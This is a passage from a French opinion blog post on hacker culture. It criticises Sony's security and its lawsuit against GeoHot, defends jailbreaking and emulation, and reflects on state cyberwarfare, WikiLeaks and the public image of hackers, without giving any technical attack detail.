De plus, ils se sont fait piratés à plusieurs reprises (soit 21 fois en 2 mois et demi ...). Ils clâment que c'est à cause de leur procès contre GeoHot "pour protéger leur propriété intellectuelle", c'est unes des raisons ok (il n'a pas violé leurs copyrights et a même intégré des protections pour éviter le warez) ... mais si de base il employaient plus de professionnels de la sécurité informatique que d'avocats bah ça irait déjà beaucoup mieux: bleem, liksang, graf_chokolo et sûrement d'autres.
Pour se rattraper, ils ont essayés d'approcher Koushik Dutta (hacker Android et développeur de RomManager entre autre) avec l'insuccès qu'on connait.
En plus de ça, c'est des génies du business: How Does Sony Stay in Business?
Donc super, ils n'ont toujours pas d'émulateur PS2 sur leur PS3 (que les gens de Bleem! auraient sûrement pu développer ;)), ils sont toujours pas aussi sécurisés qu'on voudrait le croire comme en témoigne les dernières news.
Donc la question que je me pose est actuellement: Comment leur faire confiance? Après tout, leur comportement arrogant (on est inpiratables), avec des oeillères (on embauche des avocats) et leurs idées de génies ne mènent pas trop à leur faire confiance. Il faut qu'ils changent absolument de politique et de comportement si ils veulent regagner la confiance des gens. Pour ma part c'est raté: boycottez Sony ou libérez leurs produits.
Sony devrait prendre un peu exemple sur Microsoft qui a redoré son image ces dernières années. En effet, Microsoft a intégré des tests de sécurités plus poussés dans leur cycle de developpement (comme le fuzzing ou la génération d'un nombre importants de cas de test afin de trouver des bugs). De Windows XP à Windows 7 on voit tout de même une nette différence en terme de sécurité ou d'ergonomie, etc.

Ah tant que j'y pense, je vais encore reparler du fameux GeoHot ... oui encore lui.
Pour ceuxs qui le connaissent pas (ceuxs qui ont vécus dans une caverne ...), il a libéré/jailbreaké l'iphone ou la PS3. Ce qui relève d'un exploit technique quand même impressionnant. (Et Comex qui fait du user friendly avec jailbreakme ça fait aussi mal ...).
Bref, il a été employé par Facebook, ça tous le monde le sait. Mais certains débiles pensent que c'est un pirate car c'est un hacker, à ce que je sâche, c'est totalement légal de jailbreaker son iphone aux Etats-Unis. Pour la PS3 ce n'est pas formellement stipulé ainsi ... mais je ne vois pas pourquoi ça devrait être différent.
Après on me dira que ceuxs qui jailbreak vont forcément pirater des applications et d'autres trucs comme Bill Palmers le dit. Forcément, un blogguer a contredit son discours et je partage son avis. C'est pas parce qu'on est libre d'utiliser sa machine ou son équipement comme on veut qu'on va forcément l'utiliser pour pirater ou contrefaire des choses. On est après tout libres d'utiliser nos PC comme nous le voulons (et heureusement) et pourtant tous le monde ne pirate pas ;). La liberté d'usage est la meilleure solution pour l'innovation et pleins d'autres bonnes choses. L'invention de XMBC pour Xbox (un logiciel pour transformer sa console en média center) en atteste, les usages en robotiques du Kinect le prouve.
Après y'a l'éternel débats des émulateurs ... mais sans euxs, que deviendront les vieuxs jeuxs? Les éditeurs ont soit disparus ou bien ne re-édite par leurs jeuxs ou il n'y a pas d'autres moyen d'y jouer. Ca serait une partie de la culture vidéoludique qui aurait probablement disparus sans ces logiciels.
Alors oui y'aura toujours des pirates, ... mais pourquoi punir tous le monde à cause d'une minorité?

Toute façon, les sociétés, tant qu'elles ont de la thune ... elles poursuivent les gens qu'elles veulent pour X raison: Un bloggeur menacé de procès par Tuto4PC, diffuseur d’adwares.

Les Etats et les hackers: un état de guerre permanent

Entre les attaques contre la grille électrique des Etats-Unis, Bercy piraté, l'arrestation de pirates responsables du botnet Mariposa en Espagne ou l'Algérie menacée par les Anonymous ... les pirates attaques les Etats pour diverses raisons.

Ce n'est pas sans provoquer des décisions dangereuses comme l'a fait les Etats-Unis. Bah oui ... comment attribuer une attaque de manière sure et fiable sans se tromper. Balancer un missile sur un pays innocent risque de générer des tensions et des conflits armés un peu partout ... surtout qu'on l'oublie mais les vieilles alliances existent toujours et ça peu vite s'envenimer ...

Des attaques de telle importance prédit l'arrivée des forces armées dans leur cyber espace. C'est tout à fait normal vu la dépendance qu'ont nos sociétés face à la technologie. L'Estonie a été un bon cas de figure en 2007 et ne sera pas un cas isolé dans les années à venir de toute manière.

Les raisons d'attaquer les Etats restent assez diverses pour les pirates et attaquants en tout genre: la gloire, l'argent, l'espionnage, la fuite d'information, etc.
D'ailleurs, en parlant de fuite d'information, WikiLeaks en a bien sur fait sa spécialité. Ca peut poser des problèmes envers des informateurs des dits pays car ils risquent d'être tués si leur noms ne sont pas correctement éffacés ... Ca a par contre le mérite d'exister et surement d'obliger les Etats à être un petit peu plus transparent (... j'en doute un peu quand même ...).
Je ne saurais dire si leur action est bénéfique ou non mais certaines informations fuitées pourraient poser de gros soucis en terme de vie, stratégiquement ou autre.
Si je parle de Wikileaks ... c'est pour illustrer le pouvoir des institutions et conglomérats: aucunes raisons n'a encore été donnée concernant leur blocage bancaire. Ils ont donc forcément porté plainte et apparemment vu leur paiement VISA réactivés.
Les conglomérats et les institutions ont du pouvoir mais sans compter le pouvoir qu'a donné les ordinateurs aux hackers. Wikileaks n'a cessé de le prouver avec ses fuites d'informations, des pirates l'ont démontrés: il y a possibilitée de lutter contre les institutions par des moyens technologiques.

Avant de finir cette partie, j'aimerais ajouter un mot sur notre beau système financier. Rien à voir réellement avec la cyber-guerre ... mais une guerre économique basée sur de l'information tout de même, donc y'a quand même du cyber ;).
On est (encore) en fin de crise économique ... et ce "grâce" à nos élites qui nous "chérissent" super bien.
Naon mais vraiment, faudra me faire comprendre un jour comment une petite poignée de gens peut fouttre autant la merde partout ... et on continue à les renflouer. C'est sans oublier la possible mise en faillite de la Grèce qui n'en finit pas de mourrir doucement (économiquement parlant) ...
Pendant ce temps là ... on martèle des lois contre, on poursuit, et on discrédite les hackers. Vous trouvez pas que y'a un truc qui cloche franchement?

Maintenant passons à la conclusion.

En conclusion

Entre les médias, les Etats et les hackers ... y'a encore un long chemin a parcourir avant que les gens comprennent que hackers ne signifie pas forcément "bad guys" et techniques de hacking != illégal (les usages peuvent l'être).
Les médias ont participés à la popularisation de l'idée que TOUS les hackers sont mauvais alors que ce n'est pas le cas.
Les Etats les traquent et les fliquent pour leur plus grand malheur ... car ils ne trouveront pas d'autres gens plus compétents qu'euxs pour les aider dans le domaine.
Pendant ce temps, les hackers continuent leur action et leur hobby préféré: informer et hacker.

Pour ma part, je pense que le futur va se révéler technologique, et qui dit technologie dit hackers électroniques (et donc informatique).
Etre citoyen c'est coller à ses devoirs et dénoncer les abus et les hackers joueront un rôle de plus en plus important dans le futur au vu de la dépendance qu'ont nos sociétés vis-à-vis des technologies.
Les hackers seront plus nombreuxs, ça il n'y a aucuns doutes. La sécurité informatique devient la mode et c'est une industrie qui va croitre encore un bon moment vu le besoin des Etats, des entreprises et l'état de cyber guerre permanent.
De plus, on aura beau faire des efforts, les vulnérabilitées (les "trous" de sécurité) existeront toujours ... après tout l'erreur est humaine ;).
Il faudra espérer que parmis ces hackers, il y ait plus de "gentils" que de "méchants" et pour ça tout passe par l'éducation et l'égalité des chances.

En 2-3 ans, on a vu les menaces se multiplier de quelques dizaines/centaines de milliers à quelques millions comme en atteste les signatures antivirus de plusieurs éditeurs.
Que nous réserve le futur à ce sujet?

Quel est votre réaction? Qu'en pensez-vous?

m_101